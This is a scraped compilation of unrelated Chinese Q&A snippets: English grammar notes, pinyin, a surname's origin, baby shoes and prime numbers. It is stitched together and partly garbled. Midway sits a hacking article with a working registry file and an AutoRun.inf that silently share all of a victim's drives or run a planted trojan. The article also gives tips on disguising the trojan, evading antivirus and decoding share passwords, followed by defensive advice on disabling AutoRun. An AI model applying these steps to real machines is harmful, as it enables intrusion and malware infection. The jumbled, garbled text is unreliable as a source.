come so early. 2. ---- Need I finish the work today? ---- Yes, you must. / No, you needn"t. 3) dare和 need作实义动词用时, 有人称、时态和数的变化.在肯定句中,dare后面常接带to的不定式.在疑问句和否定句中,dare后面可接带to或不带to的不定式.而need后面只能接带to的不定式. 1. I dare to swim across this river. 2. He doesn"t dare (to) answer. 3. He needs to finish his homework today. 五、 shall, should 1) shall 用于第一人称,征求对方的意见. What shall we do this evening? 2) shall 用于第二、三人称,表示说话人给对方的命令、警告、允诺或威胁. 1. You shall fail if you don"t work hard.(警告) 2. He shall have the book when I finish it.(允诺) 3. He shall be punished.(威胁) 六、 will, would 1) 表示请求、建议等,would更委婉. Will / Would you pass me the ball, please? 2) 表示意志、愿望和决心. 1. I will never do that again. 2. They asked him if he would go abroad. 3) would表示过去反复发生的动作或某种倾向.would表示过去习惯时比used to正式,且没有“现已无此习惯”的含义. 1. During the vacation, he would visit me every other day. 2. The wound would not heal. 4) 表示估计和猜想. It would be about ten o"clock when she left home. 七、 should, ought to 1) should, ought to表示“应该”,ought to表示义务或责任,比should语气重. 1. I should help her because she is in trouble. 2. You ought to take care of the baby. 2) 表示劝告、建议和命令.should, ought to可通用,但在疑问句中常用should. 1. You should / ought to go to class right away. 2. Should I open the window? 3) 表示推测 should , ought to (客观推测), must(主观推测). 1.He must be home by now. (断定他已到家) 2.He ought to/should be home by now.(不太肯定) 3. This is where the oil must be.(直爽) 4. This is where the oil ought to/should be.(含蓄) 八、 情态动词+不定式完成式（have done） 1) can / could + have done在肯定句中表示“本来可以做而实际上能做某事”,是虚拟语气；在疑问句或否定句中表示对过去行为的怀疑或不肯定, 表示推测. 1. You could have done better, but you didn"t try your best. （虚拟语气） 2. He can"t have been to that town.（推测） 3. Can he have got the book?（推测） 2) may / might +不定式完成式（have done） 表示对过去行为的推测.不能用于疑问句中,没有虚拟语气的用法.Might所表示的可能性比may小. 1. He may not have finished the work . 2. If we had taken the other road, we might have arrived earlier. 3）must +不定式完成式（have done） 用于肯定句中,表示对过去行为的推测.意为“一定、想必”.其疑问、否定形式用can,can"t代替.参看1) can / could + have done表示推测. 1. You must have seen the film Titanic. 2. He must have been to Shanghai. 4）should +不定式完成式（have done） 用于肯定句中,表示对过去行为的推测. He should have finished the work by now. 表示“本应该做而实际上没有做某事”,其否定式表示某种行为本不该发生却发生了.可以与ought to +不定式完成式（have done）互换. 1. You ought to / should have helped him. (but you didn"t.) 2. She shouldn"t have taken away my measuring tape, for I wanted to use it. 5) needn"t +不定式完成式（have done） 表示“本来不必做而实际上做了某事”. You needn"t have watered the flowers, for it is going to rain. 6) will +不定式完成式（have done） 主要用于第二、三人称,表示对已完成的动作或事态的推测. He will have arrived by now

动词不定式在句子中可以作主语、宾语、表语、定语、状语、补语（主、宾、表、定、状、补）：1) 作主语：To see is to believe. (不定式 to see作主语) 如果是不定式短语作主语，通常用it 作句子的形式主语，而把不定式短语放到后面。如：It"s easy to learn English.2) 作宾语：不定式作动词宾语，通常是固定搭配。如：want to do，hope to do , decide to do, refuse to do 等。3）作表语：放系动词后。如My wish is to become a doctor.4) 作定语：不定式作定语要放到被修饰词后。如：I have a lot of homework to do.5) 不定式作状语，通常表目的。如：He came to give us a speech.6) 不定式作宾语补足语通常也是固定搭配。如：want sb. to do..., wish sb. to do..., ask sb. to do..., 值得注意的是，使役动词后要加省to 不定式作宾补。如：let sb. do ... .

prefer to do , like to do , want to do ,It"s time to do

花费某人做某事的意思。takes：拿( take的第三人称单数 )、接受、学习、取得。例如：1、How long does it take sb to do sth?某人花费多长时间做某事？2、It takes sb some time to do sth.破费某人……时间做某事。扩展资料：it takes to 句型一、takes to 喜欢; 习惯于…; 开始从事; 觉得（某事）容易学1、(尤指短时间接触后)喜欢上，喜爱 (英文解释：If you take to someone or something, you like them, especially after knowing them or thinking about them for only a short time.)Did the children take to him?.孩子们喜欢上他了么？The first series was really bad. But for some reason the public took to it.第一部系列剧糟透了，可是不知为何，观众开始喜欢上了它。2、养成(做…)的习惯;开始定时(做…)(英文解释： If you take to doing something, you begin to do it as a regular habit.)They had taken to wandering through the streets arm-in-arm.他们养成了挽着胳膊逛街的习惯。It takes (sb) time/energy/etc. to do sth.这个句型中，it不是人称代词，而是形式主语，不定式为真正主语。take的语义为需要，可以后接单宾语或双宾语。例如：It took （me） 10 months to translate this book.The translation of this book took （me） 10 months.从这两个句型的转换可以看出，take的这种用法需要事件作主语。要么用表示事件的名词词组作主语，要么用不定式作主语。不可以用人或机构、单位、国家等作主语。由此可知不定式既不是目的状语，也不是方面状语，人或机构等如果需要表示出来，是以间接宾语的形式表

非谓语动词，又叫非限定性动词，在句子中不是谓语的动词，主要包括不定式，动名词和分词(现在分词和过去分词)，动词的非谓语形式。 不定式to do是非谓语动词的一种，形式是to do 是由动词do变过来的，前面的to 不是介词而是小品词(和动词进行补充说明关系)，to后面要加动词原形。 不定式表示的是，想做，将做，未做的事强调的是目的性。 to 作为介词后面只能加名词(名词，动名词，名词性从句等)。 1)作主语: To help each other is good. 动词不定式作主语，一般可以用it 作形式主语，而将主语的动词不定式置于句末。 It is good to help each other. 2)作表语：My job is to drive them to the power station every day. 3)作宾语： -1,作及物动词的宾语： He wishes to be a musician. -2, 作形容词的宾语：I am determined to give up smoking. -3,动词不定式一般不作介词的宾语，但动词不定式如有疑问词时，就可作介词的宾语，：Can you give us some advice on what to do? 4)，宾语补足语：Tell the children not to play on the street. 5),动词不定式作宾语时，如带有宾语补足语时，须用it作形式宾语 I don"t think it right to do it that way. 6)作定语 ： Is this the best way to help him? 和定语用的动词不定式如果是不及物动词，不定式后面要用必要的介词，He is the man to depend on his father. 如果不定式后面修饰的名词位place, time, way, 不定式后面的介词，习惯上可以省略：The old man is looking for a quiet place to live. (定语和宾补的区分方法：如果不定式是出现在：“动宾宾补”结构后面的话，不定式应该是做宾补了；而如果不定式是出现在“系表宾”结构后，那不定式应该是做定语了) 7)作状语 (修饰谓语动词) -1，目的状语 ：Every morning He gets up very early to learn English. 也可以将不定式放置于句首，To learn a foreign language, one must work hard at it. -2 They lived to see the liberation of their home town. 8)复合结构不定式：for + 名词(代词宾格) + 不定式，构成复合结构的动词不定式，for本身无意义，for 后面的名词或代词是不定式的逻辑主语，这种不定式在句中可作主语、表语、宾语、定语或状语，如：It"s very importment for us to get everything ready for the harvest. 当表语用的形容词表示逻辑主语的性质或特征时，就用介词of而不用for ，引出不定式的逻辑主语，例如good, nice, kind, wise, silly, stupid, foolish, right, wrong, careless, impolite等，如：It is very kind of you to help me every day. 9）疑问词加动词不定式，疑问代词或疑问副词 加动词不定式在句子中可以做主语，表语，或宾语。: How to prevent them from swimming in the river is a problem. 10),动词不定式的否定形式，动词不定式的否定形式由 not + 动词不定式组成， It"s foolish of you not to attend the meeting.

首先我们来看下want sb.to do sth.和want sb.doing sth.的大致意思：want sb.to do sth.：词性为短语，用于表达对某人的期望或要求，希望他们完成某项任务或行动。want sb.doing sth.：词性为短语，用于表示对某人正在进行的行动的期望或要求。通过下面的表格我们了解下want sb.to do sth.和want sb.doing sth.的含义、发音和用法接下来让我们看下want sb.to do sth.和want sb.doing sth.的用法区别：1.语法结构：在want sb.to do sth.中，to do是一个不定式短语作为宾语补足语，而在want sb.doing sth.中，doing sth.是一个动名词短语作为宾语补足语。例子：- I want him to study English.(我想让他学习英语。)- I want him studying English.(我想让他正在学习英语。)2.含义区别：want sb.to do sth.表示希望或要求某人去做某事，而want sb.doing sth.表示希望或要求某人正在进行某项行动。例子：- I want her to buy milk.(我想让她去买牛奶。)- I want her shopping.(我想让她正在购物。)3.动作状态：want sb.to do sth.强调完成某项任务或行动，want sb.doing sth.强调正在进行某项行动的状态。例子：- I want him to finish the homework.(我想让他写完作业。)- I want him reading.(我想让他正在读书。)4.动词形式：want sb.to do sth.中的do是动词原形，而want sb.doing sth.中的doing是动词的现在分词形式。例子：- I want him to do the housework.(我想让他做家务。)- I want him cleaning the room.(我想让他正在打扫房间。)5.语态区别：want sb.to do sth.可以用于被动语态，而want sb.doing sth.不能用于被动语态。例子：- I want this problem to be solved.(我想让这个问题被解决。)- I want this problem being solved.(我想让这个问题正在被解决。)

正确的是：stand doing。stand to do这个结构是错误的，只有stand to这一结构，表示“遵守，坚持”，后接名词或代词等。2、stand doing（忍受做某事）I can＇t stand sitting and doing nothing.我受不了整天坐着无事可做。词语辨析：stand，attitude，position这些名词均含“态度、立场”之意。1、stand常指某人对某一问题的看法或立场，有时含个人感情色彩。2、attitude普通用词，指对于事情的看法和采取的行动，多带不很显确或不便说明的感情色彩。3、position指对看法有分歧的问题所表示较冷静和节制的态度，常常是经认真考虑后决定的。

高考必备上非常详细。以后肯定有用

谓语：谓语是对主语动作或状态的陈述或说明,指出“做什么”、“是什么”或“怎么样”.谓语动词的位置一般在主语之后。非谓语：在句子中充当除谓语以外的句子成分的动词形式叫做非谓语动词。非谓语动词分为三种形式:不定式，动名词，和分词(分词包括现在分词和过去分词)。1）不定式时态语态主动被动一般式todotobedone完成式tohavedonetohavebeendone2）动名词时态语态主动被动一般式doingbeingdone完成式havingdonehavingbeendone3）分词时态语态主动被动一般式doingbeing窢虎促臼讵铰存歇担忙done完成式havingdonehavingbeendone否定形式：not+不定式，not+动名词，not+现在分词

二者区别如下：try to do侧重努力，为了达到目的而努力。try doing只是一种新的尝试，不带明显的目的性。重点词汇：tried尝试；试；试图；努力；审判；试用；想要；设法；试做；试验；审理；审讯；经过试用的；经过考验的；证明了的；try的过去分词和过去式。open the door开门；打开门；双手打开门。failed失败的；不成功的；失败；未能；未做；未履行；不及格；评定不及格。try的用法：try的基本意思是“试用”“努力”，指为完成某工作或验证某事实的目的而付出努力或作出尝试，但不指冒险做某事。try可作“考验”“磨炼”解，指用令人感到痛苦的人或事对某人的精神和肉体施加压力以测其忍耐力或自我控制力。try还可作“审讯”“审理”解，指人的罪过与清白的证实过程，而非结论，也可表示“检验”事物的真伪、价值、强度与效力等。

一般都是加不定式，这个需要记

object to doing： 反对 ；反对做某事object to do sth： 反对做某事 object to doing： 反对 你看，懂了吧？？

stop to do 指的是停下来去做另外的事stop doing指的是停止现在正在做的事望采纳 谢谢

miu 读法：米尤（音）每毫升 iu读：iou，优，发音时，先发 i，然后向 ou 滑动，口型由扁到圆。

堕姓 开放分类： 姓氏、姓氏文化堕[堕、隓、隳，读音作huī(ㄏㄨㄟ)，亦可读作duō(ㄉㄨㄛ)，但不可读作duò(ㄉㄨㄛˋ)]一.姓氏渊源：第一个渊源：源于春秋，出自古代人们对历史事件的描述，属于以社会性状为氏。“堕”字，在古代同“隳”、“隓”字，毁坏、败城的意思。在典籍《说文解字》解释：“堕，作隓。败城旣曰堕，亦作隓。”在典籍《贾谊·过秦论》中也记载有“堕名城”之笔。在春秋战国诸侯国之间的纷乱战争中，地邑城池被敌对方攻破、焚毁，称之为“堕”。毁城之原住民，遂起姓氏为“堕×氏”，以追念原居，在史籍《春秋》中描述：“堕郈，堕郕，堕费……”，皆为姓氏。后省文简化为单字堕氏，读音作huī(ㄏㄨㄟ)。堕氏姓源复杂，是多源合一的姓氏，但仍然属于古老的姓氏之一。第二个渊源：源于佛教，出自古代佛教圣徒颇罗堕，属于以宗教信仰为氏。据佛典《名义集》记载：“颇罗堕，姓也。”据佛典《真谛》解释：“揵疾，亦云利相，或广语，本行集翻重憧。婆罗门凡十八姓，此居其一，或云宾度罗跋罗堕阇。”又据佛典《感通传》说明：“今时有作宾头卢圣僧像，立房供养，亦是一途。然须别施空座前置碗钵，至僧食时令大僧为受，不得以僧家盘盂设之，以凡圣虽殊俱不触僧食器。若是俗家则随俗所设，恐僧不知，附此编出。”佛教在东汉时期传入中国后，有虔诚佛信徒以婆罗门佛姓为仰，取“颇罗堕”末音的谐音汉字为姓氏，称堕氏，读音作duō(ㄉㄨㄛ)。八.历史名人：堕秀花：(公元1941～今)，女；河南安阳人。著名地方科技工作者。毕业于河南省委党校。先后在安阳市技校、药械厂、市北关区工业局工作。现任职于河南省安阳市北关区科委。从事科技工作三十多年，设计、改进模具二百余套，使产品质量和工作效率得到很大提高。她设计改造的“丰收-5”型手摇喷雾器冷冲压模具，提高工效百倍；设计的“工农-16”型喷雾器冷冲压模具提高工效八十多倍。她在有色金属加工厂新上项目松香焊丝的工作中，设计模具，设备安装和调试一次成功。她曾帮助第二蓄电池厂、第二油漆厂、第三地毯厂等企业进行治理整顿，开发新项目，使企业很快呈现繁荣景象，经济效益大幅度上升。她为区属企业举办全面质量管理、节能、计量和现代企业管理学习班十多次。自从她主持科委工作后，完成了全区首次职改评定工作，筹备召开了首次科技信息发布会、科技进步奖兑现会等，促进了市场经济的活跃。她每半年组织一次对区属企业进行质量检查评比，组织伦业领导、技术人员与有关地区、行业进行科技交流、经济贸易、论文征集等活动。论文《北关区经济发展中的主要问题及对策》在市级刊物发表。多年被评为先进工作者，节能先进工作者，市、区三八红旗手，省、市妇联技术能手，市干部正规化理论教育优秀学员，区直机关优秀党员，市科协先进工作者。

最近网上流行通过AutoRun.inf文件使对方所有的硬盘完全共享或中木马的方法，由于AutoRun.inf文件在黑客技术中的应用还是很少见的，相应的资料也不多，有很多人对此觉得很神秘，本文试图为您解开这个迷，使您能完全的了解这个并不复杂却极其有趣的技术。 一、理论基础 经常使用光盘的朋友都知道，有很多光盘放入光驱就会自动运行，它们是怎么做的呢？光盘一放入光驱就会自动被执行，主要依靠两个文件，一是光盘上的AutoRun.inf文件，另一个是操作系统本身的系统文件之一的Cdvsd.vxd。Cdvsd.vxd会随时侦测光驱中是否有放入光盘的动作，如果有的话，便开始寻找光盘根目录下的AutoRun.inf文件。如果存在AutoRun.inf文件则执行它里面的预设程序。 AutoRun.inf不光能让光盘自动运行程序，也能让硬盘自动运行程序，方法很简单，先打开记事本，然后用鼠标右键点击该文件，在弹出菜单中选择“重命名”，将其改名为AutoRun.inf，在AutoRun.inf中键入以下内容：[AutoRun] //表示AutoRun部分开始，必须输入 Icon=C:C.ico //给C盘一个个性化的盘符图标C.ico Open=C:1.exe //指定要运行程序的路径和名称，在此为C盘下的1.exe 保存该文件，按F5刷新桌面，再看“我的电脑”中的该盘符（在此为C盘），你会发现它的磁盘图标变了，双击进入C盘，还会自动播放C盘下的1.exe文件！ 解释一下：“[AutoRun]”行是必须的固定格式，“Icon”行对应的是图标文件，“C:C.ico”为图标文件路径和文件名，你在输入时可以将它改为你的图片文件所在路径和文件名。另外，“.ico”为图标文件的扩展名，如果你手头上没有这类文件，可以用看图软件ACDSee将其他格式的软件转换为ico格式，或者找到一个后缀名为BMP的文件，将它直接改名为ICO文件即可。 “Open”行指定要自动运行的文件及其盘符和路径。要特别说明的是，如果你要改变的硬盘跟目录下没有自动播放文件，就应该把“OPEN”行删掉，否则就会因为找不到自动播放文件而打不开硬盘，此时只能用鼠标右键单击盘符在弹出菜单中选“打开”才行。 请大家注意：保存的文件名必须是“AutoRun.inf”，编制好的Autorun.inf文件和图标文件一定要放在硬盘根目录下。更进一步，如果你的某个硬盘内容暂时比较固定的话，不妨用Flash做一个自动播放文件，再编上“Autorun”文件，那你就有最酷、最个性的硬盘了。 到这儿还没有完。大家知道，在一些光盘放入后，我们在其图标上单击鼠标右键，还会产生一个具有特色的目录菜单，如果能对着我们的硬盘点击鼠标右键也产生这样的效果，那将更加的有特色。其实，光盘能有这样的效果也仅仅是因为在AutoRun.inf文件中有如下两条语句： shell标志＝显示的鼠标右键菜单中内容 shell标志command＝要执行的文件或命令行 所以，要让硬盘具有特色的目录菜单，在AutoRun.inf文件中加入上述语句即可，示例如下： shell1=天若有情天亦老 shell1command=notepad ok.txt 保存完毕，按F5键刷新，然后用鼠标右键单击硬盘图标，在弹出菜单中会发现“天若有情天亦老”（图1），点击它，会自动打开硬盘中的“ok.txt”文件。注意：上面示例假设“ok.txt”文件在硬盘根目录下，notepad为系统自带的记事本程序。如果要执行的文件为直接可执行程序，则在“command”后直接添加该执行程序文件名即可。 二、实例 下面就举个例子：如果你扫到一台开着139共享的机器，而对方只完全共享了D盘，我们要让对方的所有驱动器都共享。首先编辑一个注册表文件，打开记事本，键入以下内容： REGEDIT4 "此处一定要空一行 [HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanmanC$] "Path"="C:\" "Remark"="" "Type"=dword:00000000 "Flags"=dword:00000302 "Parmlenc"=hex: "Parm2enc"=hex: [HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanmanD$] "Path"="D:\" "Remark"="" "Type"=dword:00000000 "Flags"=dword:00000302 "Parmlenc"=hex: "Parm2enc"=hex: [HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanmanC$] "Path"="E:\" "Remark"="" "Type"=dword:00000000 "Flags"=dword:00000302 "Parmlenc"=hex: "Parm2enc"=hex: 以上我只设置到E盘，如果对方有很多逻辑盘符的请自行设置。将以上部分另存为Share.reg文件备用。要特别注意REGEDIT4为大写且顶格书写，其后要空上一行，在最后一行记得要按一次回车键。 然后打开记事本，编制一个AutoRun.inf文件，键入以下内容： [AutoRun] Open=regedit/s Share.reg //加/s参数是为了导入时不会显示任何信息 保存AutoRun.inf文件。将Share.reg和AutoRun.inf这两个文件都复制到对方的D盘的根目录下，这样对方只要双击D盘就会将Share.reg导入注册表，这样对方电脑重启后所有驱动器就会都完全共享出来。 如果想让对方中木马，只要在AutoRun.inf文件中，把“Open=Share.Reg”改成“Open=木马服务端文件名”，然后把AutoRun.inf和配置好的木马服务端一起复制到对方D盘的根目录下，这样不需对方运行木马服务端程序，而只需他双击D盘就会使木马运行！这样做的好处显而易见，那就是大大的增加了木马运行的主动性！须知许多人现在都是非常警惕的，不熟悉的文件他们轻易的不会运行，而这种方法就很难防范了。 要说明的是，给你下木马的人不会那么蠢的不给木马加以伪装，一般说来，他们会给木马服务端文件改个名字，或好听或和系统文件名很相像，然后给木马换个图标，使它看起来像TXT文件、ZIP文件或图片文件等，，最后修改木马的资源文件使其不被杀毒软件识别（具体的方法可以看本刊以前的文章），当服务端用户信以为真时，木马却悄悄侵入了系统。其实，换个角度理解就不难了——要是您给别人下木马我想你也会这样做的。以上手段再辅以如上内容的AutoRun.inf文件就天衣无缝了！三、防范方法 共享分类完全是由flags标志决定的，它的键值决定了共享目录的类型。当flags=0x302时，重新启动系统，目录共享标志消失，表面上看没有共享，实际上该目录正处于完全共享状态。网上流行的共享蠕虫，就是利用了此特性。如果把"Flags"=dword:00000302改成"Flags"=dword:00000402，就可以看到硬盘被共享了，明白了吗？秘密就在这里！ 以上代码中的Parmlenc、Parm2enc属性项是加密的密码，系统在加密时采用了8位密码分别与“35 9a 4b a6 53 a9 d4 6a”进行异或运算，要想求出密码再进行一次异或运算，然后查ASCII表可得出目录密码。在网络软件中有一款软件就利用该属性进行网络密码破解的，在局域网内从一台机器上可以看到另一台计算机的共享密码。 利用TCP/IP协议设计的NethackerⅡ软件可以穿过Internet网络，找到共享的主机，然后进行相应操作。所以当您通过Modem上网时，千万要小心，因为一不小心，您的主机将完全共享给对方了。 解决办法是把HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanMan下面的“C$”、“D$”、“E$”等删掉。然后删除windowssystem下面的Vserver.vxd删除，它是Microsoft网络上的文件与打印机共享虚拟设备驱动程序，再把HKEY_LOCAL_MACHINESystemCurrentControlSetServicesVxD下的Vserver键值删掉，就会很安全了。 另外，关闭硬盘AutoRun功能也是防范黑客入侵的有效方法之一。具体方法是在“开始”菜单的“运行”中输入Regedit，打开注册表编辑器，展开到HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExploer主键下，在右侧窗格中找到“NoDriveTypeAutoRun”，就是这个键决定了是否执行CDROM或硬盘的AutoRun功能。 双击“NoDriveTypeAutoRun”，在默认状态下（即你没有禁止过AutoRun功能），在弹出窗口中可以看到“NoDriveTypeAutoRun”默认键值为95,00,00,00，如图所示（图2）。其中第一个值“95”是十六进制值，它是所有被禁止自动运行设备的和。将“95”转为二进制就是10010101，其中每位代表一个设备，Windows中不同设备会用如下数值表示：设备名称 第几位 值 设备用如下数值表示 设备名称含义 DKIVE_UNKNOWN 0 1 01h 不能识别的设备类型 DRIVE_NO_ROOT_DIR 1 0 02h 没有根目录的驱动器(Drive without root directory) DRIVE_REMOVABLE 2 1 04h 可移动驱动器(Removable drive) DRIVE_FIXED 3 0 08h 固定的驱动器(Fixed drive) DRIVE_REMOTE 4 1 10h 网络驱动器(Network drive) DRIVE_CDROM 5 0 20h 光驱(CD-ROM) DRIVE_RAMDISK 6 0 40h RAM磁盘(RAM Disk) 保留 7 1 80h 未指定的驱动器类型(Not yet specified drive disk) 在上面所列的表中值为“0”表示设备运行，值为“1”表示该设备不运行（默认情况下，Windows禁止80h、10h、4h、01h这些设备自动运行，这些数值累加正好是十六进制的95h，所以NoDriveTypeAutoRun”默认键值为95,00,00,00）。由上面的分析不难看出，在默认情况下，会自动运行的设备是DRIVE_NO_ROOT_DIR、DRIVE_FIXED、DRIVE_CDROM、DRIVE_RAMDISK这四个保留设备，所以要禁止硬盘自动运行AutoRun.inf文件，就必须将DRIVE_FIXED的值设为1，这是因为DRIVE_FIXED代表固定的驱动器，即硬盘。这样一来，原来的10010101（在表中“值”列中由下向上看）就变成了二进制的10011101，转为十六进制为9D。现在，将“NoDriveTypeAutoRun”的键值改为9D,00,00,00后关闭注册表编辑器，重启电脑后就会关闭硬盘的AutoRun功能。 如果你看明白了，那你肯定知道该怎样禁止光盘AutoRun功能了，对！就是将DRIVE_CDROM设为1，这样“NoDriveTypeAutoRun”键值中的第一个值就变成了10110101，也就是十六进制的B5。将第一个值改为B5后关闭注册表编辑器，重启电脑后就会关闭CDROM的Autorun功能。如果仅想禁止软件光盘的AutoRun功能，但又保留对CD音频碟的自动播放能力，这时只需将“NoDriveTypeAutoRun”的键值改为：BD,00,00,00即可。 如果想要恢复硬盘或光驱的AutoRun功能，进行反方向操作即可。 事实上，大多数的硬盘根目录下并不需要AutoRun.inf文件来运行程序，因此我们完全可以将硬盘的AutoRun功能关闭，这样即使在硬盘根目录下有AutoRun.inf这个文件，Windows也不会去运行其中指定的程序，从而可以达到防止黑客利用AutoRun.inf文件入侵的目的。 除此以外，我们还应让Windows能显示出隐藏的共享。大家都知道，在Windows 9X中设置共享时，通过在共享名后加上“$”这个符号，可使共享隐藏。比如，我们给一个名为share的计算机的C盘设置共享时，只要将其共享名设为C$。这样我们将看不到被共享的C盘，只有通过输入该共享的确切路径，才能访问此共享。不过我们只要用将电脑中的msnp32.dll文件稍做修改。就可以让Windows显示出隐藏的共享。 由于在Windows下msnp32.dll会被调用，不能直接修改此文件，所以第一步我们要复制msnp32.dll到C盘下并改名为msnp32，msnp32.dll在C:Windowssystem文件夹下。运行UltraEdit等十六进制文件编辑器打开msnp32，找到“24 56 E8 17”（位于偏移地址00003190～000031A0处），找到后将“24”改为“00”，然后保存，关闭UltraEdit。重启计算机进入DOS模式，在命令提示符下输入copy c:msnp32.dll c:Windowssystemmsnp32.dll，重启进入Windows，现在双击share就能看见被隐藏的共享了。 最后要提醒大家利用TCP/IP协议设计的NethackerⅡ等黑客软件可以穿过Internet网络，找到共享的主机，然后进行相应操作。所以当您通过Modem上网时，千万要小心，因为一不小心，您的主机将完全共享给对方了。防范这类事情发生的方法无非是经常检查系统，给系统打上补丁，经常使用反黑杀毒软件，上网时打开防火墙，注意异常现象，留意AutoRun.inf文件的内容，关闭共享或不要设置为完全共享，且加上复杂的共享密码。 声明：本文的目的是使大家能清楚地了解网上流行的黑客手段，增强自己的防护意识，因此请大家不要用本文的方法去干违法的事情，切记：己所不欲，勿施于人！

其实非常简单，考试的时候总是会考到复韵母，比如说：ai哎，ei诶，ui微，ao袄，ou欧，iu优，ie椰，Ye约，ei耳。只要复韵母学得好，考式成绩一定能提升起来的。以下是单声母与前鼻音和后鼻音：前鼻音：an安，en思，in因，洲，un温，Vn晕。后鼻音：ang昂，eng嗯，ing鹰，ong轰。

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婴儿鞋的英语：baby shoes。相关内容如下：I.婴儿鞋的特点1.婴儿鞋外部材质通常选用柔软、透气的材料，如棉布、皮革等，能够保护宝宝娇嫩的足部皮肤。2.内部填充物也通常采用与外部材料相同的柔软材料，让宝宝的脚容易穿戴。3.婴儿鞋的鞋底一般扁平而柔软，有些鞋底带有防滑钉或其他辅助物，可以防止宝宝在行走时滑倒摔伤。II.婴儿鞋的分类1.按适用季节分：分为夏季鞋和冬季鞋两类。夏季鞋用轻薄、透气的材料，冬季鞋则加厚保暖。2.按尺码分：一般分新生儿、初生婴儿、学步儿童等尺码。3.按不同用途：运动鞋类、休闲鞋类、正式鞋类。III.婴儿鞋的选择要点1.尺码：为了确保宝宝的舒适度和安全性,应该根据宝宝的实际脚长和宽度,选择合适尺寸的鞋子。2.材料：要选择柔软、透气的材料，如棉布或皮革等。3.鞋底：要选择柔软的鞋底，带有防滑功能更佳。IV.注意事项1.宝宝穿婴儿鞋应该尽量减少时间，不应该长时间穿着以免影响行走和足部健康。2.宝宝的脚部不断发育，穿鞋的大小也需要随着孩子的成长而调整。3.婴儿穿鞋时间不宜过长，经常要伸展四肢，有助于宝宝的生长发育。V.婴儿鞋的保养1.在清洗鞋子前，应该先将鞋上的灰尘和脏污用刷子或布擦净。2.对于布质鞋面，可以使用肥皂水擦洗，并且记得让鞋子晾干后再去穿。3.皮质鞋面一般比较容易产生裂痕，需要使用适当的保养油进行维护。4.在不需要穿鞋的时候，可以将鞋子放置在通风的地方，避免阳光下直晒。VI.婴儿鞋的发展历程1.近些年来随着宝宝市场的增长，婴儿鞋的样式、颜色及款式也越来越多元化。2.研发者们对婴儿鞋的材料和设计进行了深入的研究，制造出更加安全、健康、舒适的婴儿鞋。3.手工鞋子也逐渐走入人们的视线，因为手工婴儿鞋材料天然，做工细致，受到越来越多妈妈们的青睐。婴儿鞋的保养和发展历程都与宝宝们的健康成长息息相关。在为孩子选购鞋子时，家长们应该多花时间选择适合宝宝的鞋子，并且在平时的使用和保养中加以注意，让宝宝健康快乐地成长。选择合适的婴儿鞋对宝宝的足部健康有重要的影响，因此，家长们在购买时需要注意以上几个方面，以确保选到适合自己宝宝的鞋。

质数(又称为素数） 1.就是在所有比1大的整数中，除了1和它本身以外，不再有别的因数，这种整数叫做质数。还可以说成质数只有1和它本身两个约数。2.素数是这样的整数，它除了能表示为它自己和1的乘积以外，不能表示为任 何其它两个整数的乘积。例如，15＝3＊5，所以15不是素数； 又如，12 ＝6＊2＝4＊3，所以12也不是素数。另一方面，13除了等于13＊1以 外，不能表示为其它任何两个整数的乘积，所以13是一个素数。[编辑本段]质数的概念 一个数，如果只有1和它本身两个因数，这样的数叫做质数（或素数）。例如 2，3，5，7 是质数，而 4，6，8，9 则不是，后者称为合成数或合数。从这个观点可将整数分为两种，一种叫质数，一种叫合成数。（1不是质数，也不是合数）著名的高斯「唯一分解定理」说，任何一个整数。可以写成一串质数相乘的积。质数中除2是偶数外，其他都是奇数。[编辑本段]质数的奥秘 质数的分布是没有规律的，往往让人莫名其妙。如：101、401、601、701都是质数，但上下面的301（7*43）和901（17*53）却是合数。 有人做过这样的验算：1^2+1+41=43,2^2+2+41=47,3^2+3+41=53……于是就可以有这样一个公式：设一正数为n，则n^2+n+41的值一定是一个质数。这个式子一直到n=39时，都是成立的。但n=40时，其式子就不成立了，因为40^2+40+41=1681=41*41。 说起质数就少不了哥德巴赫猜想，和著名的“1+1” 哥德巴赫猜想 ：(Goldbach Conjecture) 内容为“所有的不小于6的偶数，都可以表示为两个素数” 这个问题是德国数学家哥德巴赫（C．Goldbach，1690-1764）于1742年6月7日在给大数学家欧拉的信中提出的，所以被称作哥德巴赫猜想。同年6月30日，欧拉在回信中认为这个猜想可能是真的，但他无法证明。从此，这道数学难题引起了几乎所有数学家的注意。哥德巴赫猜想由此成为数学皇冠上一颗可望不可及的“明珠”。“用当代语言来叙述，哥德巴赫猜想有两个内容，第一部分叫做奇数的猜想，第二部分叫做偶数的猜想。奇数的猜想指出，任何一个大于等于7的奇数都是三个素数的和。偶数的猜想是说，大于等于4的偶数一定是两个素数的和。”（引自《哥德巴赫猜想与潘承洞》） 哥德巴赫猜想貌似简单，要证明它却着实不易，成为数学中一个著名的难题。18、19世纪，所有的数论专家对这个猜想的证明都没有作出实质性的推进，直到20世纪才有所突破。直接证明哥德巴赫猜想不行，人们采取了“迂回战术”，就是先考虑把偶数表为两数之和，而每一个数又是若干素数之积。如果把命题"每一个大偶数可以表示成为一个素因子个数不超过a个的数与另一个素因子不超过b个的数之和"记作"a＋b"，那么哥氏猜想就是要证明"1＋1"成立。 1900年，20世纪最伟大的数学家希尔伯特，在国际数学会议上把“哥德巴赫猜想”列为23个数学难题之一。此后，20世纪的数学家们在世界范围内“联手”进攻“哥德巴赫猜想”堡垒，终于取得了辉煌的成果。 到了20世纪20年代，有人开始向它靠近。1920年，挪威数学家布爵用一种古老的筛选法证明，得出了一个结论：每一个比6大的偶数都可以表示为（9+9）。这种缩小包围圈的办法很管用，科学家们于是从（9十9）开始，逐步减少每个数里所含质数因子的个数，直到最后使每个数里都是一个质数为止，这样就证明了“哥德巴赫猜想”。 1920年，挪威的布朗(Brun)证明了 “9+9 ”。 1924年，德国的拉特马赫(Rademacher)证明了“7+7 ”。 1932年，英国的埃斯特曼(Estermann)证明了 “6+6 ”。 1937年，意大利的蕾西(Ricei)先后证明了“5+7 ”, “4+9 ”, “3+15 ”和“2+366 ”。 1938年，苏联的布赫 夕太勃(Byxwrao)证明了“5+5 ”。 1940年，苏联的布赫 夕太勃(Byxwrao)证明了 “4+4 ”。 1948年，匈牙利的瑞尼(Renyi)证明了“1+c ”，其中c是一很大的自然数。 1956年，中国的王元证明了 “3+4 ”。 